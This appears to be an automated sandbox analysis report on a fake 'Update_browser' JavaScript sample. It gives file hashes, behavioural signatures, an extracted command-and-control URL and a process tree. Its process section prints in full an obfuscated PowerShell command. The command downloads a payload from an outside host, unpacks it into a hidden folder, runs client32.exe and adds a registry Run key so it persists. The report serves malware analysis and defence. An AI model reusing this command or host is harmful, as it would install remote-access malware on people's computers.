Overview
overview
10Static
static
1Update -520240216.zip
windows7-x64
1Update -520240216.zip
windows10-2004-x64
1Install/Up...163.js
windows7-x64
8Install/Up...163.js
windows10-2004-x64
10Install/Up...164.js
windows7-x64
8Install/Up...164.js
windows10-2004-x64
10Install/Up...165.js
windows7-x64
8Install/Up...165.js
windows10-2004-x64
10Install/Up...166.js
windows7-x64
8Install/Up...166.js
windows10-2004-x64
10Install/Up...167.js
windows7-x64
8Install/Up...167.js
windows10-2004-x64
10Update_bro...616.js
windows7-x64
8Update_bro...616.js
windows10-2004-x64
10Analysis
-
max time kernel
90s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
16-02-2024 16:32
Static task
static1
Behavioral task
behavioral1
Sample
Update -520240216.zip
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
Update -520240216.zip
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
Install/Update_browser_121.0.6163.js
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
Install/Update_browser_121.0.6163.js
Resource
win10v2004-20231222-en
Behavioral task
behavioral5
Sample
Install/Update_browser_121.0.6164.js
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
Install/Update_browser_121.0.6164.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
Install/Update_browser_121.0.6165.js
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
Install/Update_browser_121.0.6165.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
Install/Update_browser_121.0.6166.js
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
Install/Update_browser_121.0.6166.js
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
Install/Update_browser_121.0.6167.js
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
Install/Update_browser_121.0.6167.js
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
Update_browser_121.0.616.js
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
Update_browser_121.0.616.js
Resource
win10v2004-20231222-en
General
-
Target
Install/Update_browser_121.0.6163.js
-
Size
1.3MB
-
MD5
7ecc973a8ab0e0df11d0103fc763aec2
-
SHA1
d6ea12f010e3f2b229f616bff27f6f590b9922f3
-
SHA256
ef3240f277751f4149e702336035632b7cb6b1e7f8ccd2ad50c9c85dc3a14891
-
SHA512
84fef056c1f03a10a21f561e30be5a7f3a24485d75c27cfde6a8065bbc3d0e22559e7f0d9a13c53702506183efc3a9ee95183fbdf7fd0f0aa3c1b0cbf44b6552
-
SSDEEP
12288:sqkdj8gY4HQJ2Oyqkdj8gY4HQJ2Oyqkdj8gY4HQJ2Ok:PkdBpQFVkdBpQFVkdBpQFk
Malware Config
Extracted
https://grantallardserver.com/data.php?13746
https://grantallardserver.com/data.php?13746
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
wscript.exeflow pid process 4 3168 wscript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3832 powershell.exe 3832 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3832 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
wscript.exedescription pid process target process PID 3168 wrote to memory of 3832 3168 wscript.exe powershell.exe PID 3168 wrote to memory of 3832 3168 wscript.exe powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Install\Update_browser_121.0.6163.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3168 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $ppObAYYjoJSUlmxHzCaaDvF='https://grantallardserver.com/data.php?13746';$GxejkbsnnyHpGWInEMegxzfkdTcoeMJA=(New-Object System.Net.WebClient).DownloadString($ppObAYYjoJSUlmxHzCaaDvF);$UsUbiLPvyUUDfaOIcnIVGLTEWSMmIa=[System.Convert]::FromBase64String($GxejkbsnnyHpGWInEMegxzfkdTcoeMJA);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $qdRzgaIOjgysxEjMKCGDn=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $qdRzgaIOjgysxEjMKCGDn -PathType Container)) { New-Item -Path $qdRzgaIOjgysxEjMKCGDn -ItemType Directory };$p=Join-Path $qdRzgaIOjgysxEjMKCGDn 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$UsUbiLPvyUUDfaOIcnIVGLTEWSMmIa);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$qdRzgaIOjgysxEjMKCGDn)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $qdRzgaIOjgysxEjMKCGDn 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $qdRzgaIOjgysxEjMKCGDn -Force; $FSDFSSD.attributes='Hidden';$s=$qdRzgaIOjgysxEjMKCGDn+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3832
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82